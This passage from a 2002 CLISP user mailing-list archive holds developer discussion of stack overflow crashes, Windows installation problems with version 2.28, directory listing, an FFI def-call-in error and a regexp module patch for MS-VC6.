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 --------------4208E3E117C0918EB231B7F9-- From samuel.steingold@verizon.net Sun Mar 24 11:01:41 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16pDFM-00027F-00 for ; Sun, 24 Mar 2002 11:01:41 -0800 Received: from gnu.org ([151.203.226.21]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020324190139.NCWU11449.out012.verizon.net@gnu.org>; Sun, 24 Mar 2002 13:01:39 -0600 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[4]: [clisp-list] CLISP stack & hash tables References: <1805917388.20020323193446@ich.dvo.ru> <1512001668.20020324101158@ich.dvo.ru> <141241264.20020325002205@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <141241264.20020325002205@ich.dvo.ru> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 24 11:02:06 2002 X-Original-Date: 24 Mar 2002 14:01:51 -0500 > * In message <141241264.20020325002205@ich.dvo.ru> > * On the subject of "Re[4]: [clisp-list] CLISP stack & hash tables" > * Sent on Mon, 25 Mar 2002 00:22:05 +1000 > * Honorable Arseny Slobodjuck writes: > > Sunday, March 24, 2002, 1:01:54 PM, you wrote: > > Another problem: when I limited the stack by 'ulimit -s' in FreeBSD, > my endless-recursion test caused coredump instead of detected stack > overflow. Value of counter achieved is comparable hovewer with win32 > version (4000 for 3M stack in FreeBSD, 3200 in win NT). good. now recompile with -g and run under gdb. when you get the crash, print the CLISP stack with "p C_show_stack" (or something :-) and try to figure out what is filling it. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! When you are arguing with an idiot, your opponent is doing the same. From lin8080@freenet.de Mon Mar 25 14:34:52 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16pd3C-00055t-00 for ; Mon, 25 Mar 2002 14:34:50 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #4) id 16pd39-0001lZ-00 for clisp-list@lists.sourceforge.net; Mon, 25 Mar 2002 23:34:47 +0100 Received: from b7745.pppool.de ([213.7.119.69] helo=freenet.de) by mx1.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #4) id 16pd39-0006ii-00 for clisp-list@lists.sourceforge.net; Mon, 25 Mar 2002 23:34:47 +0100 Message-ID: <3C9F69F3.11F5C74D@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 CC: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] win32 - testing 228 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 25 14:35:18 2002 X-Original-Date: Mon, 25 Mar 2002 19:18:27 +0100 Hallo Now I download the win-version clisp228.zip with 2.346.984 bytes. It extracts in an dictionary named clisp-2.28. (lisp-implementation-version) "2.28 (released 2002-03-03) (built on ampy.LAIR [192.168.0.1]) current os*: win98 4.10.1998 I renamed it to cl228 and moved it to another place. The install.pif could not find the install.bat. This looks for "clisp-2.28\install.bat" (could it be the current dictionary ?) So I start the install.bat manually - a finished dosbox with OFF apeares and I dont know what happend. well. I copied my test.lisp into the cl288 dictionary and doubleclick on it. -There is no application associated ... win-error-box. Hmmm. So I copied the old lisp.bat into cl228 and changed the pathnames to the new dictionary and doubleklick that. A dos-box opens and I see what I expect. So far ok. Now I typed in (load "test.lisp") and get an error :( *** - A file with name test.lisp does not exist ... nice I renamed test.lisp in test.lsp and try again: (load "test.lsp") ;; Loading file test.lsp ... ... finished. But this was not my test-file, the variables in test.lsp have all no values. So, what was loaded from the interpreter ?? I renamed test.lsp to versuch.lsp and load it. *** - A file with ... does not exist. Hmmm What is wrong ? So I set a path in the autoexec.bat to C:\lisp\cl228; saved it and reboot. Than I repeat the steps discribed in the readme. I repeat the command (compile-file "src/config.lisp") *** - OPEN: file #P"C:\\LISP\\CL227\\src\\config.lisp" does not exist. aha. I opened regedit and searched for clisp entries there. Found one in HKEY_CURRENT_USER/software/Microspft/Windows/CurrentVersion/Explorer/RunMRU and changed it to cl228 and try again (after a reboot). How the story continues cames later on. Now rebooting (the most practicable use of this os*) So, please, add a text-line or routine, to check whether there is already a clisp-version installed and write some sentences like howtounistalltheoldversion. :) stefan of course. I renamed cl227 to clold and cl228 to cl227 and compile says : [pathname.d:6265] *** - I hope you can guess, what I think about that :) meanwhile 2.27 runs pretty well ... From bruce253@163.net Mon Mar 25 21:55:29 2002 Received: from [202.108.255.195] (helo=bjapp5.163.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16pjvd-00071c-00 for ; Mon, 25 Mar 2002 21:55:29 -0800 Received: by bjapp5.163.net (Postfix, from userid 1005) id A7D661CC41AF4; Tue, 26 Mar 2002 13:55:27 +0800 (CST) MIME-Version: 1.0 Message-ID: <3CA00D4F.000028.25798@bjapp5> From: bruce253@163.net To: clisp-list@lists.sourceforge.net X-Priority: 3 X-Originating-IP: [61.144.26.113] X-Mailer: Coremail2.0 Copyright Tebie Ltd., 2001 Subject: [clisp-list] =?gb2312?B?UTogbHMgZGlyZWN0b3J5?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 25 21:56:04 2002 X-Original-Date: Tue, 26 Mar 2002 13:55:27 +0800 (CST) Dear clisp users, What options are there to list directory contents? I used to use (directory "~/*") in clisp-2.27 and it seemed to be working. Now I'm using clisp-2.28 and find it does not give me the expected results. I'm not sure whether it's a memory confusion or I did not compile the "wildcard" module when compile clisp-2.28 lately. No matter what, I'd ask what should one do when one want to list a directory so as to iterate over the entries in the directory. TIA! =============================================== TOM ¶ÌÐÅ·þÎñ http://sms.tom.com ŵ»ùÑÇÁåÉù http://sms.tom.com/index2.php?inc=3&type=24 ĦÍÐÂÞÀ­ÁåÉù http://sms.tom.com/index2.php?inc=3&type=26 Î÷ÃÅ×ÓÁåÉù http://sms.tom.com/index2.php?inc=3&type=25 ŵ»ùÑÇСͼ http://sms.tom.com/index2.php?inc=2 ŵ»ùÑÇ´óͼ http://sms.tom.com/index2.php?inc=2&type=3740 Î÷ÃÅ×ÓͼƬ http://sms.tom.com/index2.php?inc=2&type=30 ÊÖ»úµã¸è http://sms.tom.com/index2.php?inc=song =============================================== From ampy@ich.dvo.ru Tue Mar 26 06:25:18 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16prsx-0005Ic-00 for ; Tue, 26 Mar 2002 06:25:15 -0800 Received: from ppp121-AS-2.vtc.ru (ppp121-AS-2.vtc.ru [212.16.216.121]) by vtc.ru (8.12.2/8.12.2) with ESMTP id g2QEObWG029813; Wed, 27 Mar 2002 00:24:42 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1543952423.20020327002538@ich.dvo.ru> To: lin8080 CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] win32 - testing 228 In-reply-To: <3C9F69F3.11F5C74D@freenet.de> References: <3C9F69F3.11F5C74D@freenet.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 26 06:26:03 2002 X-Original-Date: Wed, 27 Mar 2002 00:25:38 +1000 Hello Stefan, Tuesday, March 26, 2002, 4:18:27 AM, you wrote: lin8080> I renamed it to cl228 and moved it to another place. The install.pif lin8080> could not find the install.bat. This looks for "clisp-2.28\install.bat" lin8080> (could it be the current dictionary ?) 1. Do you mean 'directory' ? 2. Don't use install.pif - it was created by windows when install.bat was called. 3. I just tried on win98 - it needs a bit of work to get install working on win 95/98. It doesn't associate extensions currently at all. So currently it doesn't work. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From peter.wood@worldonline.dk Tue Mar 26 06:47:52 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16psEo-0000p1-00 for ; Tue, 26 Mar 2002 06:47:50 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id E3006B892 for ; Tue, 26 Mar 2002 15:47:43 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2QEZ2f01722; Tue, 26 Mar 2002 15:35:02 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020326153501.A1708@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] def-call-in problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 26 06:48:12 2002 X-Original-Date: Tue, 26 Mar 2002 15:35:01 +0100 Hi, Using 2.28 (well, CVS, actually) on Gnu/Linux: When I try to compile the following test, clisp-link drops me into clisp with the error message: *** - The value of *terminal-io* was not a stream: #. It has been changed to #. I have _NO_ idea why terminal streams should be involved in compiling ffi stuff. This is just a test, but I am getting the same error (plus a nice consistent sigsegv) in a module I am working on. ------- ;alpha.lisp (defpackage "TESTCI" (:use "FFI" "LISP")) (in-package "TESTCI") (def-call-in decider (:arguments (txt c-string)) (:return-type int)) (def-call-out test_decider (:arguments) (:return-type int)) (defun test () (test_decider)) (defun decider (string) (if (string= string "xxx") 1 0)) ;end ----------- /*beta.c*/ extern int decider (char *txt); int test_decider(); int test_decider() { int rv; rv = decider("xyz"); return rv; } /*end*/ ------------ I am issuing these commands in a directory with linkkit and base. clisp-link create-module-set test alpha.c gcc -c beta.c cd test ln -s ../beta.o beta.o #add beta.o to NEW_LIBS and NEW_FILES in link.sh cd .. ./base/lisp.run -M base/lispinit.mem -c alpha.lisp clisp-link add-module-set test base base+test everything goes ok, except the final command results in the above mentioned error. What am I doing wrong? How does *terminal-io* come into it? ????????????? Regards, Peter From will@misconception.org.uk Tue Mar 26 19:06:58 2002 Received: from mail4.svr.pol.co.uk ([195.92.193.211]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16q3m5-00005P-00 for ; Tue, 26 Mar 2002 19:06:57 -0800 Received: from modem-380.arcanine.dialup.pol.co.uk ([217.135.22.124] helo=there) by mail4.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16q3m2-0007Ka-00 for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 03:06:54 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] iconv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 26 19:07:16 2002 X-Original-Date: Wed, 27 Mar 2002 03:08:08 +0000 Is it still necessary for clisp to ship with it's own iconv lib? From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 27 05:51:40 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qDpy-0002Jq-00 for ; Wed, 27 Mar 2002 05:51:38 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 14:50:05 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Mar 2002 14:51:08 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Seeking place for CLISP documentation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 05:52:05 2002 X-Original-Date: Wed, 27 Mar 2002 14:51:02 +0100 Hi, I'd be happy to know if there's some place where to put extra = documentation, "howto" or whatever about CLISP. For some things I've = written, impnotes is not the correct place. Sometimes I thought about using parts of Cliki (ww.telent.net/cliki/), = since I like "maintainerless" places (appropriate for CLISP FAQ?). The Sourceforge documentation page seems empty for most projects I've = visited there. What about clisp.cons.org? So where can I put up things? For example, I have written an article = about extending CLISP via external modules, a tiny part of which = describes how to use the regexp module with MS-Windoos (see another = mail from today). Thanks for locations pointers, J=F6rg H=F6hle From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 27 05:56:54 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qDv2-0003Ho-00 for ; Wed, 27 Mar 2002 05:56:52 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 14:55:20 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Mar 2002 14:56:23 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] CLISP stack & hash tables (9nines crash on MS-Windows) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 05:57:03 2002 X-Original-Date: Wed, 27 Mar 2002 14:56:17 +0100 Hi, I'm glad to see that progress is made in this area. Arseny Slobodjuck wrote: >Thus, it is not a crash, but a nice stack overflow handling. You seem to forget that in my initial mail I reported that using (EXT:SPACE (9nines)) causes a program crash. It's not nice in any way. Invoking (9nines) without EXT:SPACE causes "only" a STACK overflow/RESET error message, as you mention, without exiting the Lisp session. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 27 06:10:17 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qE7z-0006I1-00 for ; Wed, 27 Mar 2002 06:10:15 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 15:08:42 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Mar 2002 15:09:45 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] augmenting testsuite as bugs are solved (was: Confused by `requir e', *load-paths* and clisp 2.28) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 06:11:04 2002 X-Original-Date: Wed, 27 Mar 2002 15:09:44 +0100 Hi, Sam steingold wrote: > 2. this bug slipped through because, apparently, no pretester uses > REQUIRE. I hope this will inspire you to participate in the next > pre-test. Wouldn't the better suggestion be the addition of a few lines to the testsuite, so as to automate testing instead of testers? Who'd be willing to do so for the now solved bug in REQUIRE? To participate, here's something for a patch I submitted (see sourceforge bugtacker): http://sourceforge.net/tracker/index.php?func=detail&aid=528886&group_id=1355&atid=101355 #+(and CLISP FFI) (typep #\a 'ffi:foreign-address) NIL (multiple-value-list (subtypep 'ffi:foreign-function 'function)) (T T) ChangeLog partial test of (SUB-)TYPEP FFI:FOREIGN-* Is the testsuite separately maintained (like ffcall)? I heard that several groups had used it (CMUCL people?). Regards, Jorg Hohle. From rurban@x-ray.at Wed Mar 27 06:14:02 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16qEBc-0007Kp-00 for ; Wed, 27 Mar 2002 06:14:01 -0800 Received: from [62.46.176.252] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 16qEBX-0002cV-00 for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 15:13:55 +0100 Message-ID: <3CA1D3A5.24388DA0@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Seeking place for CLISP documentation References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 06:15:02 2002 X-Original-Date: Wed, 27 Mar 2002 14:13:57 +0000 what about posting it here at first, to let people check its usefulness. "Hoehle, Joerg-Cyril" schrieb: > I'd be happy to know if there's some place where to put extra documentation, "howto" or whatever about CLISP. For some things I've written, impnotes is not the correct place. > Sometimes I thought about using parts of Cliki (ww.telent.net/cliki/), since I like "maintainerless" places (appropriate for CLISP FAQ?). > The Sourceforge documentation page seems empty for most projects I've visited there. > What about clisp.cons.org? > So where can I put up things? For example, I have written an article about extending CLISP via external modules, a tiny part of which describes how to use the regexp module with MS-Windoos (see another mail from today). the Cliki is a good place for me. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 27 06:25:28 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qEMf-0002bt-00 for ; Wed, 27 Mar 2002 06:25:25 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 15:23:51 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Mar 2002 15:24:54 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] now you can use the regexp module on MS-Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 06:26:07 2002 X-Original-Date: Wed, 27 Mar 2002 15:24:45 +0100 Hi, here's a tiny patch to make the regexp module usable with the MS-VC6 = compiler. I believe some users of the win32 binary distribution would very much = appreciate for this module to be included in the binary. For several years now, the FFI has been part of the binary distribution = on MS-Windows. This was of no use at all except to know that it = compiles(!), since without modules, it cannot do/call/access anything. I'd be thankful to the autoconf & Makefile experts could come up with a = scheme to automate generating and including the module. It's trivial to = do by hand, but possibly hard to fully automate. I appended the = makefile parts that I used. The current src/Makefile does: o using empty modules.h, create lisp.exe o compile all .lisp files and create lispinit.mem It needs to additionaly do: o compile regexp.lisp (creates regexp.fas and regexp.c) with old(/any) = lisp.exe o compile modules/regexp.c, regexi., regex.c (delegate to = modules/regexp/Makefile) o put a line containing "MODULE(regexp)" into modules.h o recompile modules.c as consequence of dependance o recreate lisp.exe including regex objects Note there's a dependency cycle. A new .mem need not be created. Yet it may be convenient for users to = have regexp.fas included and ready for use. The regexp.fas can only be = loaded by the new lisp.exe. ChangeLog compiles with MS-VC6 Since one of the patches is to regex.c, I don't know whether the = original GNU maintainers would be interested by portability, or 